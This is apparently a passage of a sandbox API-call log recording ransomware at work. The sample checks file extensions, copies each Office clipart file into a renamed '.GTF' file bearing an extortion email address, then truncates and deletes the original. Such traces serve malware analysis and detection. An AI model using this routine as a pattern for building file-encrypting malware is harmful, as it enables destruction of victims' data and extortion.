	[0083.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68
	[0083.352] lstrlenW (lpString=".zip") returned 4
	[0083.352] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.352] lstrlenW (lpString=".rar") returned 4
	[0083.352] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.352] lstrlenW (lpString=".bz2") returned 4
	[0083.352] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.352] lstrlenW (lpString=".7z") returned 3
	[0083.352] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68
	[0083.352] lstrlenW (lpString=".dbf") returned 4
	[0083.352] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68
	[0083.352] lstrlenW (lpString=".1cd") returned 4
	[0083.352] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68
	[0083.352] lstrlenW (lpString=".jpg") returned 4
	[0083.352] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68
	[0083.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68
	[0083.352] lstrlenW (lpString=".doc") returned 4
	[0083.352] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.352] lstrlenW (lpString=".docx") returned 5
	[0083.352] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.352] lstrlenW (lpString=".pdf") returned 4
	[0083.352] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.352] lstrlenW (lpString=".xls") returned 4
	[0083.353] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.353] lstrlenW (lpString=".xlsx") returned 5
	[0083.353] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.353] lstrlenW (lpString=".ppt") returned 4
	[0083.353] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68
	[0083.353] lstrlenW (lpString=".zip") returned 4
	[0083.353] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.353] lstrlenW (lpString=".rar") returned 4
	[0083.353] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.353] lstrlenW (lpString=".bz2") returned 4
	[0083.353] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.353] lstrlenW (lpString=".7z") returned 3
	[0083.353] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68
	[0083.353] lstrlenW (lpString=".dbf") returned 4
	[0083.353] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68
	[0083.353] lstrlenW (lpString=".1cd") returned 4
	[0083.353] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68
	[0083.353] lstrlenW (lpString=".jpg") returned 4
	[0083.353] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.353] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.353] lstrlenW (lpString="BL00122_.WMF") returned 12
	[0083.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0083.354] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=10146) returned 1
	[0083.354] CloseHandle (hObject=0x384) returned 1
	[0083.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf")) returned 0x220
	[0083.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0083.354] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.354] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0083.355] GetLastError () returned 0x0
	[0083.355] ReadFile (in: hFile=0x384, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x27a2, lpOverlapped=0x0) returned 1
	[0083.367] WriteFile (in: hFile=0x370, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x27b0, lpOverlapped=0x0) returned 1
	[0083.368] ReadFile (in: hFile=0x384, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.369] WriteFile (in: hFile=0x370, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.369] SetEndOfFile (hFile=0x370) returned 1
	[0083.373] CloseHandle (hObject=0x370) returned 1
	[0083.374] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.374] SetEndOfFile (hFile=0x384) returned 1
	[0083.376] CloseHandle (hObject=0x384) returned 1
	[0083.376] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.377] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf")) returned 1
	[0083.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68
	[0083.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68
	[0083.379] lstrlenW (lpString=".doc") returned 4
	[0083.379] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.379] lstrlenW (lpString=".docx") returned 5
	[0083.379] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.379] lstrlenW (lpString=".pdf") returned 4
	[0083.379] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.379] lstrlenW (lpString=".xls") returned 4
	[0083.379] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.379] lstrlenW (lpString=".xlsx") returned 5
	[0083.379] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.379] lstrlenW (lpString=".ppt") returned 4
	[0083.379] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68
	[0083.379] lstrlenW (lpString=".zip") returned 4
	[0083.379] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.379] lstrlenW (lpString=".rar") returned 4
	[0083.379] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.379] lstrlenW (lpString=".bz2") returned 4
	[0083.380] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.380] lstrlenW (lpString=".7z") returned 3
	[0083.380] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68
	[0083.380] lstrlenW (lpString=".dbf") returned 4
	[0083.380] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68
	[0083.380] lstrlenW (lpString=".1cd") returned 4
	[0083.380] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68
	[0083.380] lstrlenW (lpString=".jpg") returned 4
	[0083.380] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68
	[0083.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68
	[0083.380] lstrlenW (lpString=".doc") returned 4
	[0083.380] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.380] lstrlenW (lpString=".docx") returned 5
	[0083.380] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.380] lstrlenW (lpString=".pdf") returned 4
	[0083.380] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.380] lstrlenW (lpString=".xls") returned 4
	[0083.380] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.380] lstrlenW (lpString=".xlsx") returned 5
	[0083.380] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.380] lstrlenW (lpString=".ppt") returned 4
	[0083.380] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68
	[0083.380] lstrlenW (lpString=".zip") returned 4
	[0083.380] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.380] lstrlenW (lpString=".rar") returned 4
	[0083.380] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.380] lstrlenW (lpString=".bz2") returned 4
	[0083.380] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.380] lstrlenW (lpString=".7z") returned 3
	[0083.380] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68
	[0083.381] lstrlenW (lpString=".dbf") returned 4
	[0083.381] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68
	[0083.381] lstrlenW (lpString=".1cd") returned 4
	[0083.381] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68
	[0083.381] lstrlenW (lpString=".jpg") returned 4
	[0083.381] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.381] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.381] lstrlenW (lpString="BL00152_.WMF") returned 12
	[0083.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0083.385] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=1516) returned 1
	[0083.385] CloseHandle (hObject=0x374) returned 1
	[0083.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf")) returned 0x220
	[0083.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0083.385] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.385] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0083.387] GetLastError () returned 0x0
	[0083.387] ReadFile (in: hFile=0x374, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x5ec, lpOverlapped=0x0) returned 1
	[0083.391] WriteFile (in: hFile=0x310, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x5f0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x5f0, lpOverlapped=0x0) returned 1
	[0083.392] ReadFile (in: hFile=0x374, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.392] WriteFile (in: hFile=0x310, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.392] SetEndOfFile (hFile=0x310) returned 1
	[0083.398] CloseHandle (hObject=0x310) returned 1
	[0083.401] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.401] SetEndOfFile (hFile=0x374) returned 1
	[0083.407] CloseHandle (hObject=0x374) returned 1
	[0083.412] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.412] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf")) returned 1
	[0083.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68
	[0083.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68
	[0083.413] lstrlenW (lpString=".doc") returned 4
	[0083.413] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.413] lstrlenW (lpString=".docx") returned 5
	[0083.413] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.413] lstrlenW (lpString=".pdf") returned 4
	[0083.413] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.413] lstrlenW (lpString=".xls") returned 4
	[0083.413] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.413] lstrlenW (lpString=".xlsx") returned 5
	[0083.413] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.413] lstrlenW (lpString=".ppt") returned 4
	[0083.413] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68
	[0083.413] lstrlenW (lpString=".zip") returned 4
	[0083.414] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.414] lstrlenW (lpString=".rar") returned 4
	[0083.414] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.414] lstrlenW (lpString=".bz2") returned 4
	[0083.414] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.414] lstrlenW (lpString=".7z") returned 3
	[0083.414] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68
	[0083.414] lstrlenW (lpString=".dbf") returned 4
	[0083.414] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68
	[0083.414] lstrlenW (lpString=".1cd") returned 4
	[0083.414] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68
	[0083.414] lstrlenW (lpString=".jpg") returned 4
	[0083.414] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68
	[0083.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68
	[0083.414] lstrlenW (lpString=".doc") returned 4
	[0083.414] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.414] lstrlenW (lpString=".docx") returned 5
	[0083.414] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.414] lstrlenW (lpString=".pdf") returned 4
	[0083.414] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.414] lstrlenW (lpString=".xls") returned 4
	[0083.414] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.414] lstrlenW (lpString=".xlsx") returned 5
	[0083.414] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.414] lstrlenW (lpString=".ppt") returned 4
	[0083.414] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68
	[0083.414] lstrlenW (lpString=".zip") returned 4
	[0083.414] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.414] lstrlenW (lpString=".rar") returned 4
	[0083.414] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.414] lstrlenW (lpString=".bz2") returned 4
	[0083.415] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.415] lstrlenW (lpString=".7z") returned 3
	[0083.415] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68
	[0083.415] lstrlenW (lpString=".dbf") returned 4
	[0083.415] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68
	[0083.415] lstrlenW (lpString=".1cd") returned 4
	[0083.415] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68
	[0083.415] lstrlenW (lpString=".jpg") returned 4
	[0083.415] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.415] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.415] lstrlenW (lpString="BL00242_.WMF") returned 12
	[0083.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0083.416] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=4024) returned 1
	[0083.416] CloseHandle (hObject=0x36c) returned 1
	[0083.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf")) returned 0x220
	[0083.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0083.417] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.417] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0083.421] GetLastError () returned 0x0
	[0083.421] ReadFile (in: hFile=0x370, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0xfb8, lpOverlapped=0x0) returned 1
	[0083.423] WriteFile (in: hFile=0x310, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xfc0, lpOverlapped=0x0) returned 1
	[0083.455] ReadFile (in: hFile=0x370, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.456] WriteFile (in: hFile=0x310, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.456] SetEndOfFile (hFile=0x310) returned 1
	[0083.463] CloseHandle (hObject=0x310) returned 1
	[0083.464] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.464] SetEndOfFile (hFile=0x370) returned 1
	[0083.466] CloseHandle (hObject=0x370) returned 1
	[0083.467] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.467] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf")) returned 1
	[0083.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68
	[0083.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68
	[0083.467] lstrlenW (lpString=".doc") returned 4
	[0083.467] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.467] lstrlenW (lpString=".docx") returned 5
	[0083.467] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.467] lstrlenW (lpString=".pdf") returned 4
	[0083.468] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.468] lstrlenW (lpString=".xls") returned 4
	[0083.468] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.468] lstrlenW (lpString=".xlsx") returned 5
	[0083.468] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
